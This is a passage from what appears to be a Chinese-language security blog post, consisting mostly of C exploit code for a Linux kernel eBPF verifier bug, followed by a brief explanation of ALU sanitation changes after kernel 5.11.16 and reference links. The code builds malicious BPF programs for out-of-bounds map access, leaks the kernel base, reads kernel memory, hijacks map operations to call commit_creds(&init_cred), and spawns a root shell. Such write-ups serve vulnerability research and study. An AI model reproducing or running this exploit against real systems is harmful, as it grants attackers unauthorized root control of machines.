printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
if (i / 2 < 10)
{
printf("%d ", i / 2);
}
else if (i / 2 < 100)
{
printf("%d ", i / 2);
}
else
{
printf("%d", i / 2);
}
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

#define attack(map_fd, map_fd2) \
BPF_LD_MAP_FD(BPF_REG_1, map_fd), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_STX_MEM(BPF_W, BPF_REG_2, BPF_REG_0, 0), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_LD_MAP_FD(BPF_REG_1, map_fd2), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), \
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), \
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), \
BPF_MOV64_IMM(BPF_REG_4, 0xffffffff), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32), \
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_4), \
BPF_MOV64_IMM(BPF_REG_7, 0x1), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_7, 32), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 2), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), \
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_7), \
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0), \
BPF_JMP32_IMM(BPF_JLE, BPF_REG_3, 1, 2), \
BPF_MOV64_IMM(BPF_REG_0, 0x196082), \
BPF_EXIT_INSN(), \
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_3), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), \
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 0x1), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x1000), \
BPF_MOV64_REG(BPF_REG_7, BPF_REG_6), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 0x1000 - 1), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_7), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6)

static int setup_btf_bpf_prog_fd;
void read_kernel(int map_fd, int map_fd2, uint64_t addr, char *buf, int len)
{
int i;
char values[0x1500] = {0};
struct bpf_insn read_map_ops_content[] =
{
attack(map_fd, map_fd2),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xD0),
BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_9, 8),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()};
for (i = 0; i < len / 4; i++)
{
memset(values, 0, sizeof(values));
struct bpf_map_info_kernel info = {0};
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info = (long long unsigned int)&info,
.info.info_len = sizeof(info)};

*(uint64_t *)(values + 8) = addr - 0x58;
if (addr == 0)
*(uint64_t *)(values + 8) = 0;

if (0 != update_map_element(map_fd2, 0, values, BPF_ANY))
err_exit("[-] failed to update map element values!\n");

if (0 != run_bpf_prog(read_map_ops_content, sizeof(read_map_ops_content) / sizeof(struct bpf_insn), 1, &setup_btf_bpf_prog_fd))
err_exit("[-] Failed to run bpf program\n");

if (0 != obj_get_info_by_fd(&attr))
err_exit("[-] Failed to get map info\n");

addr = addr + 4;
((uint32_t *)buf)[i] = info.btf_id;
}
}

int main()
{
save_status();
union bpf_attr map_attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = sizeof(int),
.value_size = 0x1500,
.max_entries = 1};

int map_fd2 = create_map(&map_attr);
int map_fd = create_map(&map_attr);

if (map_fd < 0 || map_fd2 < 0)
{
printf("%d\n", map_fd);
printf("%d\n", map_fd2);
err_exit("Failed to create map\n");
}

char *values = malloc(0x3000);
memset(values, 0, sizeof(values));

if (0 != update_map_element(map_fd2, 0, values, BPF_ANY))
err_exit("[-] failed to update map element values!\n");

if (0 != update_map_element(map_fd, 0, values, BPF_ANY))
err_exit("[-] failed to update map element values!\n");

struct bpf_insn ops[] =
{
attack(map_fd, map_fd2),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),
BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6),
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0),
BPF_EXIT_INSN()};

if (0 != run_bpf_prog(ops, sizeof(ops) / sizeof(struct bpf_insn), 2, NULL))
err_exit("[-] Failed to run bpf program\n");

if (0 != lookup_map_element(map_fd2, 0, values))
err_exit("[-] Failed to lookup map element\n");

uint64_t raw_array_map_ops = 0xffffffff820363a0;
uint64_t kernel_addr;
uint64_t kernel_base;
uint64_t kernel_offset;

uint64_t array_map_ops = *(uint64_t *)values;
kernel_offset = array_map_ops - raw_array_map_ops;
kernel_base = 0xffffffff81000000 + kernel_offset;
uint64_t work_for_cpu_fn_addr = kernel_offset + 0xffffffff810bc190;
uint64_t commit_creds_addr = kernel_offset + 0xffffffff810cce30;
uint64_t init_creds_addr = kernel_offset + 0xffffffff82a6b880;
printf("array_map_ops_addr => %p\n", array_map_ops);
printf("kernel_base => %p\n", kernel_base);
printf("kernel_offset => %p\n", kernel_offset);
printf("work_for_cpu_fn => %p\n", work_for_cpu_fn_addr);
printf("commit_creds_addr => %p\n", commit_creds_addr);
printf("init_creds_addr => %p\n", init_creds_addr);

struct bpf_insn read_map_addr_ops[] = {
attack(map_fd, map_fd2),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x50),
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_9, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 8),
BPF_EXIT_INSN()};

if (0 != run_bpf_prog(read_map_addr_ops, sizeof(read_map_addr_ops) / sizeof(struct bpf_insn), 1, NULL))
err_exit("[-] Failed to run bpf program\n");
if (0 != lookup_map_element(map_fd, 0, values))
err_exit("[-] Failed to lookup map element\n");

uint64_t map_ptr = *(uint64_t *)(values + 8);
printf("map_ptr => %p\n", map_ptr);
uint64_t map_value = map_ptr - 0xc0 + 0x110;
printf("map_value => %p\n", map_value);

read_kernel(map_fd, map_fd2, map_ptr, values, 0x8);
printf("%p\n", *(uint64_t *)values);

memset(values, 0, 0x1000);
read_kernel(map_fd, map_fd2, array_map_ops, values, 0xf0);

char map_ops[0x1000] = {0};
*(uint64_t *)(values + 8 * 4) = work_for_cpu_fn_addr;
memcpy(map_ops, values, 0xf0);

if (0 != update_map_element(map_fd2, 0, map_ops, BPF_ANY))
err_exit("[-] failed to update map element values!\n");

struct bpf_insn modify_oob_map[] =
{
attack(map_fd, map_fd2),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0x8),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0x10),
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_8, 0x18),
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0x20),
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0x28),
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_2, 0),
BPF_EXIT_INSN()};

memset(values, 0, 0x1000);
*(uint64_t *)(values + 0x8) = commit_creds_addr;
*(uint64_t *)(values + 0x10) = init_creds_addr;
*(uint64_t *)(values + 0x18) = map_value;

if (0 != update_map_element(map_fd, 0, values, BPF_ANY))
err_exit("[-] failed to update map element values!\n");

if (0 != run_bpf_prog(modify_oob_map, sizeof(modify_oob_map) / sizeof(struct bpf_insn), 1, NULL))
err_exit("[-] Failed to run bpf program\n");

unsigned long key = 0;
unsigned long next_key;
union bpf_attr attr = {
.map_fd = map_fd2,
.key = &key,
.next_key = &next_key};
map_get_next_key(&attr);
printf("[+] commit_cred(&init_cred) done!\n");
get_shell();

return 0;
}

image-20230812203539165

值得注意的

在linux kernel 5.11.16版本以后的 ALU sanitation 机制发生了改变,一是alu_limit计算方法变了,不再用指针寄存器的位置来计算,而是使用offset寄存器。例如,假设有个寄存器的无符号边界是 umax_value = 1, umin_value = 0,则计算出 alu_limit = 1,表示如果该寄存器在运行时超出边界,则指针运算不会使用该寄存器。二是在runtime时会用立即数替换掉 verifier 认定为常数的寄存器。例如,BPF_ALU64_REG(BPF_ADD, BPF_REG_2, EXPLOIT_REG)EXPLOIT_REG被verifier认定为0,但运行时为1,则将该指令改为 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0)

1
2
3
4
5
6
7
8
9
10
bool off_is_imm = tnum_is_const(off_reg->var_off);
alu_state |= off_is_imm ? BPF_ALU_IMMEDIATE : 0;
isimm = aux->alu_state & BPF_ALU_IMMEDIATE;
// ... ...
if (isimm) {
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
} else {
// Patch alu_limit check instructions
// ... ...
}

参考链接:

https://elixir.bootlin.com/linux/v5.11.16/source

https://www.anquanke.com/post/id/251933#h2-1

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量